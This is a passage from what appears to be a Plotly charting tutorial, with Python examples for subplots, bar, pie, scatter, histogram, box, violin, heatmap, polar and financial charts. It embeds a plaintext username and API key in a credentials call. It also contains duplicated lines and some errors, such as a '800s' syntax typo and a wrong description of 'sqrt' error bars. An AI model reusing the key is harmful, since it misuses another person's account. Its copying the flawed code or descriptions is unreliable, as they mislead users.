possible values — linear and array. If it is linear, the position of starting tick is determined by tick0 and step between ticks by dtick properties. If tickmode is set to array, you have to provide list of values and labels as tickval and ticktext properties. The Layout object also has Exponentformat attribute set to ‘e’ will cause tick values to be displayed in scientific notation. You also need to set showexponent property to ‘all’. We now format the Layout object in above example to configure x and y axis by specifying line, grid and title font properties and tick mode, values and font. layout = go.Layout( title = "Sine and cos", xaxis = dict( title = 'angle', showgrid = True, zeroline = True, showline = True, showticklabels = True, gridwidth = 1 ), yaxis = dict( showgrid = True, zeroline = True, showline = True, gridcolor = '#bdbdbd', gridwidth = 2, zerolinecolor = '#969696', zerolinewidth = 2, linecolor = '#636363', linewidth = 2, title = 'VALUE', titlefont = dict( family = 'Arial, sans-serif', size = 18, color = 'lightgrey' ), showticklabels = True, tickangle = 45, tickfont = dict( family = 'Old Standard TT, serif', size = 14, color = 'black' ), tickmode = 'linear', tick0 = 0.0, dtick = 0.25 ) ) Sometimes it is useful to have dual x or y axes in a figure; for example, when plotting curves with different units together. Matplotlib supports this with the twinx and twiny functions. In the following example, the plot has dual y axes, one showing exp(x) and other showing log(x) x = np.arange(1,11) y1 = np.exp(x) y2 = np.log(x) trace1 = go.Scatter( x = x, y = y1, name = 'exp' ) trace2 = go.Scatter( x = x, y = y2, name = 'log', yaxis = 'y2' ) data = [trace1, trace2] layout = go.Layout( title = 'Double Y Axis Example', yaxis = dict( title = 'exp',zeroline=True, showline = True ), yaxis2 = dict( title = 'log', zeroline = True, showline = True, overlaying = 'y', side = 'right' ) ) fig = go.Figure(data=data, layout=layout) iplot(fig) Here, additional y axis is configured as yaxis2 and appears on right side, having ‘log’ as title. Resultant plot is as follows − Here, we will understand the concept of subplots and inset plots in Plotly. Sometimes it is helpful to compare different views of data side by side. This supports the concept of subplots. It offers make_subplots() function in plotly.tools module. The function returns a Figure object. The following statement creates two subplots in one row. fig = tools.make_subplots(rows = 1, cols = 2) We can now add two different traces (the exp and log traces in example above) to the figure. fig.append_trace(trace1, 1, 1) fig.append_trace(trace2, 1, 2) The Layout of figure is further configured by specifying title, width, height, etc. using update() method. fig['layout'].update(height = 600, width = 800s, title = 'subplots') Here's the complete script − from plotly import tools import plotly.plotly as py import plotly.graph_objs as go from plotly.offline import iplot, init_notebook_mode init_notebook_mode(connected = True) import numpy as np x = np.arange(1,11) y1 = np.exp(x) y2 = np.log(x) trace1 = go.Scatter( x = x, y = y1, name = 'exp' ) trace2 = go.Scatter( x = x, y = y2, name = 'log' ) fig = tools.make_subplots(rows = 1, cols = 2) fig.append_trace(trace1, 1, 1) fig.append_trace(trace2, 1, 2) fig['layout'].update(height = 600, width = 800, title = 'subplot') iplot(fig) This is the format of your plot grid: [ (1,1) x1,y1 ] [ (1,2) x2,y2 ] To display a subplot as inset, we need to configure its trace object. First the xaxis and yaxis properties of inset trace to ‘x2’ and ‘y2’ respectively. Following statement puts ‘log’ trace in inset. trace2 = go.Scatter( x = x, y = y2, xaxis = 'x2', yaxis = 'y2', name = 'log' ) Secondly, configure Layout object where the location of x and y axes of inset is defined by domain property that specifies is position with respective to major axis. xaxis2=dict( domain = [0.1, 0.5], anchor = 'y2' ), yaxis2 = dict( domain = [0.5, 0.9], anchor = 'x2' ) Complete script to display log trace in inset and exp trace on main axis is given below − trace1 = go.Scatter( x = x, y = y1, name = 'exp' ) trace2 = go.Scatter( x = x, y = y2, xaxis = 'x2', yaxis = 'y2', name = 'log' ) data = [trace1, trace2] layout = go.Layout( yaxis = dict(showline = True), xaxis2 = dict( domain = [0.1, 0.5], anchor = 'y2' ), yaxis2 = dict( showline = True, domain = [0.5, 0.9], anchor = 'x2' ) ) fig = go.Figure(data=data, layout=layout) iplot(fig) The output is mentioned below − In this chapter, we will learn how to make bar and pie charts with the help of Plotly. Let us begin by understanding about bar chart. A bar chart presents categorical data with rectangular bars with heights or lengths proportional to the values that they represent. Bars can be displayed vertically or horizontally. It helps to show comparisons among discrete categories. One axis of the chart shows the specific categories being compared, and the other axis represents a measured value. Following example plots a simple bar chart about number of students enrolled for different courses. The go.Bar() function returns a bar trace with x coordinate set as list of subjects and y coordinate as number of students. import plotly.graph_objs as go langs = ['C', 'C++', 'Java', 'Python', 'PHP'] students = [23,17,35,29,12] data = [go.Bar( x = langs, y = students )] fig = go.Figure(data=data) iplot(fig) The output will be as shown below − To display a grouped bar chart, the barmode property of Layout object must be set to group. In the following code, multiple traces representing students in each year are plotted against subjects and shown as grouped bar chart. branches = ['CSE', 'Mech', 'Electronics'] fy = [23,17,35] sy = [20, 23, 30] ty = [30,20,15] trace1 = go.Bar( x = branches, y = fy, name = 'FY' ) trace2 = go.Bar( x = branches, y = sy, name = 'SY' ) trace3 = go.Bar( x = branches, y = ty, name = 'TY' ) data = [trace1, trace2, trace3] layout = go.Layout(barmode = 'group') fig = go.Figure(data = data, layout = layout) iplot(fig) The output of the same is as follows − The barmode property determines how bars at the same location coordinate are displayed on the graph. Defined values are "stack" (bars stacked on top of one another), "relative", (bars are stacked on top of one another, with negative values below the axis, positive values above), "group" (bars plotted next to one another). By changing barmode property to ‘stack’ the plotted graph appears as below − A Pie Chart displays only one series of data. Pie Charts show the size of items (called wedge) in one data series, proportional to the sum of the items. Data points are shown as a percentage of the whole pie. The pie() function in graph_objs module – go.Pie(), returns a Pie trace. Two required arguments are labels and values. Let us plot a simple pie chart of language courses vs number of students as in the example given herewith. import plotly plotly.tools.set_credentials_file( username = 'lathkar', api_key = 'U7vgRe1hqmRp4ZNf4PTN' ) from plotly.offline import iplot, init_notebook_mode init_notebook_mode(connected = True) import plotly.graph_objs as go langs = ['C', 'C++', 'Java', 'Python', 'PHP'] students = [23,17,35,29,12] trace = go.Pie(labels = langs, values = students) data = [trace] fig = go.Figure(data = data) iplot(fig) Following output is displayed in Jupyter notebook − Donut chart is a pie chart with a round hole in the center which makes it look like a donut. In the following example, two donut charts are displayed in 1X2 grid layout. While ‘label’ layout is same for both pie traces, row and column destination of each subplot is decided by domain property. For this purpose, we use the data of party-wise seats and vote share in 2019 parliamentary elections. Enter the following code in Jupyter notebook cell − parties = ['BJP', 'CONGRESS', 'DMK', 'TMC', 'YSRC', 'SS', 'JDU','BJD', 'BSP','OTH'] seats = [303,52,23,22,22,18,16,12,10, 65] percent = [37.36, 19.49, 2.26, 4.07, 2.53, 2.10, 1.46, 1.66, 3.63, 25.44] import plotly.graph_objs as go data1 = { "values": seats, "labels": parties, "domain": {"column": 0}, "name": "seats", "hoverinfo":"label+percent+name", "hole": .4, "type": "pie" } data2 = { "values": percent, "labels": parties, "domain": {"column": 1}, "name": "vote share", "hoverinfo":"label+percent+name", "hole": .4, "type": "pie" } data = [data1,data2] layout = go.Layout( { "title":"Parliamentary Election 2019", "grid": {"rows": 1, "columns": 2}, "annotations": [ { "font": { "size": 20 }, "showarrow": False, "text": "seats", "x": 0.20, "y": 0.5 }, { "font": { "size": 20 }, "showarrow": False, "text": "votes", "x": 0.8, "y": 0.5 } ] } ) fig = go.Figure(data = data, layout = layout) iplot(fig) The output of the same is given below − This chapter emphasizes on details about Scatter Plot, Scattergl Plot and Bubble Charts. First, let us study about Scatter Plot. Scatter plots are used to plot data points on a horizontal and a vertical axis to show how one variable affects another. Each row in the data table is represented by a marker whose position depends on its values in the columns set on the X and Y axes. The scatter() method of graph_objs module (go.Scatter) produces a scatter trace. Here, the mode property decides the appearance of data points. Default value of mode is lines which displays a continuous line connecting data points. If set to markers, only the data points represented by small filled circles are displayed. When mode is assigned ‘lines+markers’, both circles and lines are displayed. In the following example, plots scatter traces of three sets of randomly generated points in Cartesian coordinate system. Each trace displayed with different mode property is explained below. import numpy as np N = 100 x_vals = np.linspace(0, 1, N) y1 = np.random.randn(N) + 5 y2 = np.random.randn(N) y3 = np.random.randn(N) - 5 trace0 = go.Scatter( x = x_vals, y = y1, mode = 'markers', name = 'markers' ) trace1 = go.Scatter( x = x_vals, y = y2, mode = 'lines+markers', name = 'line+markers' ) trace2 = go.Scatter( x = x_vals, y = y3, mode = 'lines', name = 'line' ) data = [trace0, trace1, trace2] fig = go.Figure(data = data) iplot(fig) The output of Jupyter notebook cell is as given below − WebGL (Web Graphics Library) is a JavaScript API for rendering interactive 2D and 3D graphics within any compatible web browser without the use of plug-ins. WebGL is fully integrated with other web standards, allowing Graphics Processing Unit (GPU) accelerated usage of image processing. Plotly you can implement WebGL with Scattergl() in place of Scatter() for increased speed, improved interactivity, and the ability to plot even more data. The go.scattergl() function which gives better performance when a large number of data points are involved. import numpy as np N = 100000 x = np.random.randn(N) y = np.random.randn(N) trace0 = go.Scattergl( x = x, y = y, mode = 'markers' ) data = [trace0] layout = go.Layout(title = "scattergl plot ") fig = go.Figure(data = data, layout = layout) iplot(fig) The output is mentioned below − A bubble chart displays three dimensions of data. Each entity with its three dimensions of associated data is plotted as a disk (bubble) that expresses two of the dimensions through the disk's xy location and the third through its size. The sizes of the bubbles are determined by the values in the third data series. Bubble chart is a variation of the scatter plot, in which the data points are replaced with bubbles. If your data has three dimensions as shown below, creating a Bubble chart will be a good choice. Bubble chart is produced with go.Scatter() trace. Two of the above data series are given as x and y properties. Third dimension is shown by marker with its size representing third data series. In the above mentioned case, we use products and sale as x and y properties and market share as marker size. Enter the following code in Jupyter notebook. company = ['A','B','C'] products = [13,6,23] sale = [2354,5423,4251] share = [23,47,30] fig = go.Figure(data = [go.Scatter( x = products, y = sale, text = [ 'company:'+c+' share:'+str(s)+'%' for c in company for s in share if company.index(c)==share.index(s) ], mode = 'markers', marker_size = share, marker_color = ['blue','red','yellow']) ]) iplot(fig) The output would be as shown below − Here, we will learn about dot plots and table function in Plotly. Firstly, let us start with dot plots. A dot plot displays points on a very simple scale. It is only suitable for a small amount of data as a large number of points will make it look very cluttered. Dot plots are also known as Cleveland dot plots. They show changes between two (or more) points in time or between two (or more) conditions. Dot plots are similar to horizontal bar chart. However, they can be less cluttered and allow an easier comparison between conditions. The figure plots a scatter trace with mode attribute set to markers. Following example shows comparison of literacy rate amongst men and women as recorded in each census after independence of India. Two traces in the graph represent literacy percentage of men and women in each census after 1951 up to 2011. from plotly.offline import iplot, init_notebook_mode init_notebook_mode(connected = True) census = [1951,1961,1971,1981,1991,2001, 2011] x1 = [8.86, 15.35, 21.97, 29.76, 39.29, 53.67, 64.63] x2 = [27.15, 40.40, 45.96, 56.38,64.13, 75.26, 80.88] traceA = go.Scatter( x = x1, y = census, marker = dict(color = "crimson", size = 12), mode = "markers", name = "Women" ) traceB = go.Scatter( x = x2, y = census, marker = dict(color = "gold", size = 12), mode = "markers", name = "Men") data = [traceA, traceB] layout = go.Layout( title = "Trend in Literacy rate in Post independent India", xaxis_title = "percentage", yaxis_title = "census" ) fig = go.Figure(data = data, layout = layout) iplot(fig) The output would be as shown below − Plotly's Table object is returned by go.Table() function. Table trace is a graph object useful for detailed data viewing in a grid of rows and columns. Table is using a column-major order, i.e. the grid is represented as a vector of column vectors. Two important parameters of go.Table() function are header which is the first row of table and cells which form rest of rows. Both parameters are dictionary objects. The values attribute of headers is a list of column headings, and a list of lists, each corresponding to one row. Further styling customization is done by linecolor, fill_color, font and other attributes. Following code displays the points table of round robin stage of recently concluded Cricket World Cup 2019. trace = go.Table( header = dict( values = ['Teams','Mat','Won','Lost','Tied','NR','Pts','NRR'], line_color = 'gray', fill_color = 'lightskyblue', align = 'left' ), cells = dict( values = [ [ 'India', 'Australia', 'England', 'New Zealand', 'Pakistan', 'Sri Lanka', 'South Africa', 'Bangladesh', 'West Indies', 'Afghanistan' ], [9,9,9,9,9,9,9,9,9,9], [7,7,6,5,5,3,3,3,2,0], [1,2,3,3,3,4,5,5,6,9], [0,0,0,0,0,0,0,0,0,0], [1,0,0,1,1,2,1,1,1,0], [15,14,12,11,11,8,7,7,5,0], [0.809,0.868,1.152,0.175,-0.43,-0.919,-0.03,-0.41,-0.225,-1.322] ], line_color='gray', fill_color='lightcyan', align='left' ) ) data = [trace] fig = go.Figure(data = data) iplot(fig) The output is as mentioned below − Table data can also be populated from Pandas dataframe. Let us create a comma separated file (points-table.csv) as below − Teams,Matches,Won,Lost,Tie,NR,Points,NRR India,9,7,1,0,1,15,0.809 Australia,9,7,2,0,0,14,0.868 England,9,6,3,0,0,12,1.152 New Zealand,9,5,3,0,1,11,0.175 Pakistan,9,5,3,0,1,11,-0.43 Sri Lanka,9,3,4,0,2,8,-0.919 South Africa,9,3,5,0,1,7,-0.03 Bangladesh,9,3,5,0,1,7,-0.41 West Indies,9,2,6,0,1,5,-0.225 Afghanistan,9,0,9,0,0,0,-1.322 We now construct a dataframe object from this csv file and use it to construct table trace as below − import pandas as pd df = pd.read_csv('point-table.csv') trace = go.Table( header = dict(values = list(df.columns)), cells = dict( values = [ df.Teams, df.Matches, df.Won, df.Lost, df.Tie, df.NR, df.Points, df.NRR ] ) ) data = [trace] fig = go.Figure(data = data) iplot(fig) Introduced by Karl Pearson, a histogram is an accurate representation of the distribution of numerical data which is an estimate of the probability distribution of a continuous variable (CORAL). It appears similar to bar graph, but, a bar graph relates two variables, whereas a histogram relates only one. A histogram requires bin (or bucket) which divides the entire range of values into a series of intervals—and then count how many values fall into each interval. The bins are usually specified as consecutive, non-overlapping intervals of a variable. The bins must be adjacent, and are often of equal size. A rectangle is erected over the bin with height proportional to the frequency—the number of cases in each bin. Histogram trace object is returned by go.Histogram() function. Its customization is done by various arguments or attributes. One essential argument is x or y set to a list, numpy array or Pandas dataframe object which is to be distributed in bins. By default, Plotly distributes the data points in automatically sized bins. However, you can define custom bin size. For that you need to set autobins to false, specify nbins (number of bins), its start and end values and size. Following code generates a simple histogram showing distribution of marks of students in a class inbins (sized automatically) − import numpy as np x1 = np.array([22,87,5,43,56,73,55,54,11,20,51,5,79,31,27]) data = [go.Histogram(x = x1)] fig = go.Figure(data) iplot(fig) The output is as shown below − The go.Histogram() function accepts histnorm, which specifies the type of normalization used for this histogram trace. Default is "", the span of each bar corresponds to the number of occurrences (i.e. the number of data points lying inside the bins). If assigned "percent" / "probability", the span of each bar corresponds to the percentage / fraction of occurrences with respect to the total number of sample points. If it is equal to "density", the span of each bar corresponds to the number of occurrences in a bin divided by the size of the bin interval. There is also histfunc parameter whose default value is count. As a result, height of rectangle over a bin corresponds to count of data points. It can be set to sum, avg, min or max. The histogram() function can be set to display cumulative distribution of values in successive bins. For that, you need to set cumulative property to enabled. Result can be seen as below − data=[go.Histogram(x = x1, cumulative_enabled = True)] fig = go.Figure(data) iplot(fig) The output is as mentioned below − This chapter focusses on detail understanding about various plots including box plot, violin plot, contour plot and quiver plot. Initially, we will begin with the Box Plot follow. A box plot displays a summary of a set of data containing the minimum, first quartile, median, third quartile, and maximum. In a box plot, we draw a box from the first quartile to the third quartile. A vertical line goes through the box at the median. The lines extending vertically from the boxes indicating variability outside the upper and lower quartiles are called whiskers. Hence, box plot is also known as box and whisker plot. The whiskers go from each quartile to the minimum or maximum. To draw Box chart, we have to use go.Box() function. The data series can be assigned to x or y parameter. Accordingly, the box plot will be drawn horizontally or vertically. In following example, sales figures of a certain company in its various branches is converted in horizontal box plot. It shows the median of minimum and maximum value. trace1 = go.Box(y = [1140,1460,489,594,502,508,370,200]) data = [trace1] fig = go.Figure(data) iplot(fig) The output of the same will be as follows − The go.Box() function can be given various other parameters to control the appearance and behaviour of box plot. One such is boxmean parameter. The boxmean parameter is set to true by default. As a result, the mean of the boxes' underlying distribution is drawn as a dashed line inside the boxes. If it is set to sd, the standard deviation of the distribution is also drawn. The boxpoints parameter is by default equal to "outliers". Only the sample points lying outside the whiskers are shown. If "suspectedoutliers", the outlier points are shown and points either less than 4"Q1-3"Q3 or greater than 4"Q3-3"Q1 are highlighted. If "False", only the box(es) are shown with no sample points. In the following example, the box trace is drawn with standard deviation and outlier points. trc = go.Box( y = [ 0.75, 5.25, 5.5, 6, 6.2, 6.6, 6.80, 7.0, 7.2, 7.5, 7.5, 7.75, 8.15, 8.15, 8.65, 8.93, 9.2, 9.5, 10, 10.25, 11.5, 12, 16, 20.90, 22.3, 23.25 ], boxpoints = 'suspectedoutliers', boxmean = 'sd' ) data = [trc] fig = go.Figure(data) iplot(fig) The output of the same is stated below − Violin plots are similar to box plots, except that they also show the probability density of the data at different values. Violin plots will include a marker for the median of the data and a box indicating the interquartile range, as in standard box plots. Overlaid on this box plot is a kernel density estimation. Like box plots, violin plots are used to represent comparison of a variable distribution (or sample distribution) across different "categories". A violin plot is more informative than a plain box plot. In fact, while a box plot only shows summary statistics such as mean/median and interquartile ranges, the violin plot shows the full distribution of the data. Violin trace object is returned by go.Violin() function in graph_objects module. In order to display underlying box plot, the boxplot_visible attribute is set to True. Similarly, by setting meanline_visible property to true, a line corresponding to the sample's mean is shown inside the violins. Following example demonstrates how Violin plot is displayed using plotly’s functionality. import numpy as np np.random.seed(10) c1 = np.random.normal(100, 10, 200) c2 = np.random.normal(80, 30, 200) trace1 = go.Violin(y = c1, meanline_visible = True) trace2 = go.Violin(y = c2, box_visible = True) data = [trace1, trace2] fig = go.Figure(data = data) iplot(fig) The output is as follows − A 2D contour plot shows the contour lines of a 2D numerical array z, i.e. interpolated lines of isovalues of z. A contour line of a function of two variables is a curve along which the function has a constant value, so that the curve joins points of equal value. A contour plot is appropriate if you want to see how some value Z changes as a function of two inputs, X and Y such that Z = f(X,Y). A contour line or isoline of a function of two variables is a curve along which the function has a constant value. The independent variables x and y are usually restricted to a regular grid called meshgrid. The numpy.meshgrid creates a rectangular grid out of an array of x values and an array of y values. Let us first create data values for x, y and z using linspace() function from Numpy library. We create a meshgrid from x and y values and obtain z array consisting of square root of x2+y2 We have go.Contour() function in graph_objects module which takes x,y and z attributes. Following code snippet displays contour plot of x, y and z values computed as above. import numpy as np xlist = np.linspace(-3.0, 3.0, 100) ylist = np.linspace(-3.0, 3.0, 100) X, Y = np.meshgrid(xlist, ylist) Z = np.sqrt(X**2 + Y**2) trace = go.Contour(x = xlist, y = ylist, z = Z) data = [trace] fig = go.Figure(data) iplot(fig) The output is as follows − The contour plot can be customized by one or more of following parameters − Transpose (boolean) − Transposes the z data. Transpose (boolean) − Transposes the z data. If xtype (or ytype) equals "array", x/y coordinates are given by "x"/"y". If "scaled", x coordinates are given by "x0" and "dx". The connectgaps parameter determines whether or not gaps in the z data are filled in. The connectgaps parameter determines whether or not gaps in the z data are filled in. Default value of ncontours parameter is 15. The actual number of contours will be chosen automatically to be less than or equal to the value of `ncontours`. Has an effect only if `autocontour` is "True". Default value of ncontours parameter is 15. The actual number of contours will be chosen automatically to be less than or equal to the value of `ncontours`. Has an effect only if `autocontour` is "True". Contours type is by default: "levels" so the data is represented as a contour plot with multiple levels displayed. If constrain, the data is represented as constraints with the invalid region shaded as specified by the operation and value parameters. showlines − Determines whether or not the contour lines are drawn. zauto is True by default and determines whether or not the color domain is computed with respect to the input data (here in `z`) or the bounds set in `zmin` and `zmax` Defaults to `False` when `zmin` and `zmax` are set by the user. Quiver plot is also known as velocity plot. It displays velocity vectors as arrows with components (u,v) at the points (x,y). In order to draw Quiver plot, we will use create_quiver() function defined in figure_factory module in Plotly. Plotly's Python API contains a figure factory module which includes many wrapper functions that create unique chart types that are not yet included in plotly.js, Plotly's open-source graphing library. The create_quiver() function accepts following parameters − x − x coordinates of the arrow locations x − x coordinates of the arrow locations y − y coordinates of the arrow locations y − y coordinates of the arrow locations u − x components of the arrow vectors u − x components of the arrow vectors v − y components of the arrow vectors v − y components of the arrow vectors scale − scales size of the arrows scale − scales size of the arrows arrow_scale − length of arrowhead. arrow_scale − length of arrowhead. angle − angle of arrowhead. angle − angle of arrowhead. Following code renders a simple quiver plot in Jupyter notebook − import plotly.figure_factory as ff import numpy as np x,y = np.meshgrid(np.arange(-2, 2, .2), np.arange(-2, 2, .25)) z = x*np.exp(-x**2 - y**2) v, u = np.gradient(z, .2, .2) # Create quiver figure fig = ff.create_quiver(x, y, u, v, scale = .25, arrow_scale = .4, name = 'quiver', line = dict(width = 1)) iplot(fig) Output of the code is as follows − In this chapter, we will understand about distplots, density plot and error bar plot in detail. Let us begin by learning about distplots. The distplot figure factory displays a combination of statistical representations of numerical data, such as histogram, kernel density estimation or normal curve, and rug plot. The distplot can be composed of all or any combination of the following 3 components − histogram curve: (a) kernel density estimation or (b) normal curve, and rug plot The figure_factory module has create_distplot() function which needs a mandatory parameter called hist_data. Following code creates a basic distplot consisting of a histogram, a kde plot and a rug plot. x = np.random.randn(1000) hist_data = [x] group_labels = ['distplot'] fig = ff.create_distplot(hist_data, group_labels) iplot(fig) The output of the code mentioned above is as follows − A density plot is a smoothed, continuous version of a histogram estimated from the data. The most common form of estimation is known as kernel density estimation (KDE). In this method, a continuous curve (the kernel) is drawn at every individual data point and all of these curves are then added together to make a single smooth density estimation. The create_2d_density() function in module plotly.figure_factory._2d_density returns a figure object for a 2D density plot. Following code is used to produce 2D Density plot over histogram data. t = np.linspace(-1, 1.2, 2000) x = (t**3) + (0.3 * np.random.randn(2000)) y = (t**6) + (0.3 * np.random.randn(2000)) fig = ff.create_2d_density( x, y) iplot(fig) Below mentioned is the output of the above given code. Error bars are graphical representations of the error or uncertainty in data, and they assist correct interpretation. For scientific purposes, reporting of errors is crucial in understanding the given data. Error bars are useful to problem solvers because error bars show the confidence or precision in a set of measurements or calculated values. Mostly error bars represent range and standard deviation of a dataset. They can help visualize how the data is spread around the mean value. Error bars can be generated on variety of plots such as bar plot, line plot, scatter plot etc. The go.Scatter() function has error_x and error_y properties that control how error bars are generated. visible (boolean) − Determines whether or not this set of error bars is visible. visible (boolean) − Determines whether or not this set of error bars is visible. Type property has possible values "percent" | "constant" | "sqrt" | "data”. It sets the rule used to generate the error bars. If "percent", the bar lengths correspond to a percentage of underlying data. Set this percentage in `value`. If "sqrt", the bar lengths correspond to the square of the underlying data. If "data", the bar lengths are set with data set `array`. symmetric property can be true or false. Accordingly, the error bars will have the same length in both direction or not (top/bottom for vertical bars, left/right for horizontal bars. symmetric property can be true or false. Accordingly, the error bars will have the same length in both direction or not (top/bottom for vertical bars, left/right for horizontal bars. array − sets the data corresponding the length of each error bar. Values are plotted relative to the underlying data. array − sets the data corresponding the length of each error bar. Values are plotted relative to the underlying data. arrayminus − Sets the data corresponding the length of each error bar in the bottom (left) direction for vertical (horizontal) bars Values are plotted relative to the underlying data. arrayminus − Sets the data corresponding the length of each error bar in the bottom (left) direction for vertical (horizontal) bars Values are plotted relative to the underlying data. Following code displays symmetric error bars on a scatter plot − trace = go.Scatter( x = [0, 1, 2], y = [6, 10, 2], error_y = dict( type = 'data', # value of error bar given in data coordinates array = [1, 2, 3], visible = True) ) data = [trace] layout = go.Layout(title = 'Symmetric Error Bar') fig = go.Figure(data = data, layout = layout) iplot(fig) Given below is the output of the above stated code. Asymmetric error plot is rendered by following script − trace = go.Scatter( x = [1, 2, 3, 4], y =[ 2, 1, 3, 4], error_y = dict( type = 'data', symmetric = False, array = [0.1, 0.2, 0.1, 0.1], arrayminus = [0.2, 0.4, 1, 0.2] ) ) data = [trace] layout = go.Layout(title = 'Asymmetric Error Bar') fig = go.Figure(data = data, layout = layout) iplot(fig) The output of the same is as given below − A heat map (or heatmap) is a graphical representation of data where the individual values contained in a matrix are represented as colors. The primary purpose of Heat Maps is to better visualize the volume of locations/events within a dataset and assist in directing viewers towards areas on data visualizations that matter most. Because of their reliance on color to communicate values, Heat Maps are perhaps most commonly used to display a more generalized view of numeric values. Heat Maps are extremely versatile and efficient in drawing attention to trends, and it’s for these reasons they have become increasingly popular within the analytics community. Heat Maps are innately self-explanatory. The darker the shade, the greater the quantity (the higher the value, the tighter the dispersion, etc.). Plotly’s graph_objects module contains Heatmap() function. It needs x, y and z attributes. Their value can be a list, numpy array or Pandas dataframe. In the following example, we have a 2D list or array which defines the data (harvest by different farmers in tons/year) to color code. We then also need two lists of names of farmers and vegetables cultivated by them. vegetables = [ "cucumber", "tomato", "lettuce", "asparagus", "potato", "wheat", "barley" ] farmers = [ "Farmer Joe", "Upland Bros.", "Smith Gardening", "Agrifun", "Organiculture", "BioGoods Ltd.", "Cornylee Corp." ] harvest = np.array( [ [0.8, 2.4, 2.5, 3.9, 0.0, 4.0, 0.0], [2.4, 0.0, 4.0, 1.0, 2.7, 0.0, 0.0], [1.1, 2.4, 0.8, 4.3, 1.9, 4.4, 0.0], [0.6, 0.0, 0.3, 0.0, 3.1, 0.0, 0.0], [0.7, 1.7, 0.6, 2.6, 2.2, 6.2, 0.0], [1.3, 1.2, 0.0, 0.0, 0.0, 3.2, 5.1], [0.1, 2.0, 0.0, 1.4, 0.0, 1.9, 6.3] ] ) trace = go.Heatmap( x = vegetables, y = farmers, z = harvest, type = 'heatmap', colorscale = 'Viridis' ) data = [trace] fig = go.Figure(data = data) iplot(fig) The output of the above mentioned code is given as follows − In this chapter, we will learn how Polar Chart and Radar Chart can be made with the help Plotly. First of all, let us study about polar chart. Polar Chart is a common variation of circular graphs. It is useful when relationships between data points can be visualized most easily in terms of radiuses and angles. In Polar Charts, a series is represented by a closed curve that connect points in the polar coordinate system. Each data point is determined by the distance from the pole (the radial coordinate) and the angle from the fixed direction (the angular coordinate). A polar chart represents data along radial and angular axes. The radial and angular coordinates are given with the r and theta arguments for go.Scatterpolar() function. The theta data can be categorical, but, numerical data are possible too and is the most commonly used. Following code produces a basic polar chart. In addition to r and theta arguments, we set mode to lines (it can be set to markers well in which case only the data points will be displayed). import numpy as np r1 = [0,6,12,18,24,30,36,42,48,54,60] t1 = [1,0.995,0.978,0.951,0.914,0.866,0.809,0.743,0.669,0.588,0.5] trace = go.Scatterpolar( r = [0.5,1,2,2.5,3,4], theta = [35,70,120,155,205,240], mode = 'lines', ) data = [trace] fig = go.Figure(data = data) iplot(fig) The output is given below − In the following example data from a comma-separated values (CSV) file is used to generate polar chart. First few rows of polar.csv are as follows − y,x1,x2,x3,x4,x5, 0,1,1,1,1,1, 6,0.995,0.997,0.996,0.998,0.997, 12,0.978,0.989,0.984,0.993,0.986, 18,0.951,0.976,0.963,0.985,0.969, 24,0.914,0.957,0.935,0.974,0.946, 30,0.866,0.933,0.9,0.96,0.916, 36,0.809,0.905,0.857,0.943,0.88, 42,0.743,0.872,0.807,0.923,0.838, 48,0.669,0.835,0.752,0.901,0.792, 54,0.588,0.794,0.691,0.876,0.74, 60,0.5,0.75,0.625,0.85,0.685, Enter the following script in notebook’s input cell to generate polar chart as below − import pandas as pd df = pd.read_csv("polar.csv") t1 = go.Scatterpolar( r = df['x1'], theta = df['y'], mode = 'lines', name = 't1' ) t2 = go.Scatterpolar( r = df['x2'], theta = df['y'], mode = 'lines', name = 't2' ) t3 = go.Scatterpolar( r = df['x3'], theta = df['y'], mode = 'lines', name = 't3' ) data = [t1,t2,t3] fig = go.Figure(data = data) iplot(fig) Given below is the output of the above mentioned code − A Radar Chart (also known as a spider plot or star plot) displays multivariate data in the form of a two-dimensional chart of quantitative variables represented on axes originating from the center. The relative position and angle of the axes is typically uninformative. For a Radar Chart, use a polar chart with categorical angular variables in go.Scatterpolar() function in the general case. Following code renders a basic radar chart with Scatterpolar() function − radar = go.Scatterpolar( r = [1, 5, 2, 2, 3], theta = [ 'processing cost', 'mechanical properties', 'chemical stability', 'thermal stability', 'device integration' ], fill = 'toself' ) data = [radar] fig = go.Figure(data = data) iplot(fig) The below mentioned output is a result of the above given code − This chapter focusses on other three types of charts including OHLC, Waterfall and Funnel Chart which can be made with the help of Plotly. An open-high-low-close chart (also OHLC) is a type of bar chart typically used to illustrate movements in the price of a financial instrument such as shares. OHLC charts are useful since they show the four major data points over a period. The chart type is useful because it can show increasing or decreasing momentum. The high and low data points are useful in assessing volatility. Each vertical line on the chart shows the price range (the highest and lowest prices) over one unit of time, such as day or hour. Tick marks project from each side of the line indicating the opening price (e.g., for a daily bar chart this would be the starting price for that day) on the left, and the closing price for that time period on the right. Sample data for demonstration of OHLC chart is shown below. It has list objects corresponding to high, low, open and close values as on corresponding date strings. The date representation of string is converted to date object by using strtp() function from datetime module. open_data = [33.0, 33.3, 33.5, 33.0, 34.1] high_data = [33.1, 33.3, 33.6, 33.2, 34.8] low_data = [32.7, 32.7, 32.8, 32.6, 32.8] close_data = [33.0, 32.9, 33.3, 33.1, 33.1] date_data = ['10-10-2013', '11-10-2013', '12-10-2013','01-10-2014','02-10-2014'] import datetime dates = [ datetime.datetime.strptime(date_str, '%m-%d-%Y').date() for date_str in date_data ] We have to use above dates object as x parameter and others for open, high, low and close parameters required for go.Ohlc() function that returns OHLC trace. trace = go.Ohlc( x = dates, open = open_data, high = high_data, low = low_data, close = close_data ) data = [trace] fig = go.Figure(data = data) iplot(fig) The output of the code is given below − The candlestick chart is similar to OHLC chart. It is like a combination of line-chart and a bar-chart. The boxes represent the spread between the open and close values and the lines represent the spread between the low and high values. Sample points where the close value is higher (lower) then the open value are called increasing (decreasing). Candlestrick trace is returned by go.Candlestick() function. We use same data (as for OHLC chart) to render candlestick chart as given below − trace = go.Candlestick( x = dates, open = open_data, high = high_data, low = low_data, close = close_data ) Output of the above given code is mentioned below − A waterfall chart (also known as flying bricks chart or Mario chart) helps in understanding the cumulative effect of sequentially introduced positive or negative values which can either be time based or category based. Initial and final values are shown as columns with the individual negative and positive adjustments depicted as floating steps. Some waterfall charts connect the lines between the columns to make the chart look like a bridge. go.Waterfall() function returns a Waterfall trace. This object can be customized by various named arguments or attributes. Here, x and y attributes set up data for x and y coordinates of the graph. Both can be a Python list, numpy array or Pandas series or strings or date time objects. Another attribute is measure which is an array containing types of values. By default, the values are considered as relative. Set it to 'total' to compute the sums. If it is equal to absolute it resets the computed total or to declare an initial value where needed. The 'base' attribute sets where the bar base is drawn (in position axis units). Following code renders a waterfall chart − s1=[ "Sales", "Consulting", "Net revenue", "Purchases", "Other expenses", "Profit before tax" ] s2 